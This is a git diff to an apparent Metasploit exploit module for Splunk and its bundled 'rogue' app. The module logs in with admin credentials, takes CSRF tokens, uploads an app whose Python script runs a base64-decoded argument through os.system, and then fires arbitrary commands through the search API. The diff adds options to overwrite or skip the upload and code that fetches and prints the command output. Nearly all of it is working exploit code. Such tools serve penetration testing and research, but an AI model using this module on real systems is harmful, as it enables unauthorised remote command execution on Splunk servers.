diff --git a/data/exploits/splunk/upload_app_exec.tgz b/data/exploits/splunk/upload_app_exec.tgz index f228949a0406..7090b41f567f 100644 Binary files a/data/exploits/splunk/upload_app_exec.tgz and b/data/exploits/splunk/upload_app_exec.tgz differ diff --git a/data/exploits/splunk/upload_app_exec/bin/msf_exec.py b/data/exploits/splunk/upload_app_exec/bin/msf_exec.py index ce670617ef5f..b25d2658ffad 100755 --- a/data/exploits/splunk/upload_app_exec/bin/msf_exec.py +++ b/data/exploits/splunk/upload_app_exec/bin/msf_exec.py @@ -1,5 +1,3 @@ -# this page helped A LOT: http://splunk-base.splunk.com/answers/62473/how-to-execute-external-script-to-manipulate-file-from-search-command - import sys import base64 import splunk.Intersplunk @@ -7,7 +5,6 @@ results = [] try: - results,dummyresults,settings = splunk.Intersplunk.getOrganizedResults() sys.modules['os'].system(base64.b64decode(sys.argv[1])) except: diff --git a/data/exploits/splunk/upload_app_exec/default/commands.conf b/data/exploits/splunk/upload_app_exec/default/commands.conf index f7cadf66e5d2..8447bd47a86f 100644 --- a/data/exploits/splunk/upload_app_exec/default/commands.conf +++ b/data/exploits/splunk/upload_app_exec/default/commands.conf @@ -3,5 +3,5 @@ type = python filename = msf_exec.py local = false enableheader = false -streaming = true +streaming = false perf_warn_limit = 0 diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 06bc1f6e0eea..b09eeeafd97e 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -5,7 +5,6 @@ # http://metasploit.com/ ## - require 'msf/core' class Metasploit3 < Msf::Exploit::Remote @@ -33,6 +32,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ], + [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-feature-abuse-with-metasploit.html' ], ], 'Payload' => { @@ -58,19 +58,34 @@ def initialize(info = {}) Opt::RPORT(8000), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]), - OptString.new('SPLUNK_APP_FILE', - [ - true, - 'The "rogue" Splunk application tgz', - File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz') - ]), + OptString.new('SPLUNK_APP_FILE', + [ + true, + 'The "rogue" Splunk application tgz', + File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz') + ]), + ], self.class) + + register_advanced_options( + [ + OptBool.new('ReturnOutput', [ true, 'Display command output', true ]), + OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]), + OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]), ], self.class) end def exploit + # process standard options @username = datastore['USERNAME'] @password = datastore['PASSWORD'] file_name = datastore['SPLUNK_APP_FILE'] + + # process advanced options + return_output = datastore['ReturnOutput'] + disable_upload = datastore['DisableUpload'] + @enable_overwrite = datastore['EnableOverwrite'] + + # set up some variables for later use @auth_cookies = '' @csrf_form_key = '' app_name = 'upload_app_exec' @@ -84,15 +99,17 @@ def exploit # fetch the csrf token for use in the upload next do_get_csrf('/en-US/manager/launcher/apps/local') - # upload the arbitrary command execution Splunk app tgz - do_upload_app(app_name, file_name) + unless disable_upload + # upload the arbitrary command execution Splunk app tgz + do_upload_app(app_name, file_name) + end # get the next csrf token from our new app do_get_csrf("/en-US/app/#{app_name}/flashtimeline") # call our command execution function with the Splunk 'script' command print_status("invoking script command") - send_request_cgi( + res = send_request_cgi( { 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', @@ -104,7 +121,7 @@ def exploit }, 'vars_post' => { - 'search' => "search irrelevant | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf + 'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf 'status_buckets' => "300", 'namespace' => "#{app_name}", 'ui_dispatch_app' => "#{app_name}", @@ -118,7 +135,32 @@ def exploit 'timeFormat' => "%s.%Q" } }, 25) - handler + + if return_output + res.body.match(/data":\ "([0-9.]+)"/) + job_id = $1 + + # wait a short time to let the output be produced + select(nil,nil,nil,5) + job_output = fetch_job_output(job_id) + if job_output.body.match(/Waiting for data.../) + print_info("no output returned in time") + else + output = "" + job_output.body.each_line do |line| + # strip off the leading and trailing " added by Splunk + line.gsub!(/^"/,"") + line.gsub!(/"$/,"") + output << line + end + + # return the output + print_status("command returned:") + print output + end + else + handler + end end def check @@ -208,6 +250,13 @@ def do_upload_app(app_name, file_name) data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n" data << "#{@csrf_form_key}" data << "\r\n--#{boundary}\r\n" + + if @enable_overwrite + data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n" + data << "1" + data << "\r\n--#{boundary}\r\n" + end + data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n" data << "Content-Type: application/x-gzip\r\n\r\n" data << file_data @@ -245,4 +294,17 @@ def do_get_csrf(uri) @csrf_form_key = $1 fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key end + + def fetch_job_output(job_id) + # fetch the output of our job id as csv for easy parsing + print_status("fetching job_output for id #{job_id}") + res = send_request_raw( + { + 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000", + 'method' => 'GET', + 'cookie' => @auth_cookies, + 'encode_param' => 'false' + }, 25) + + end end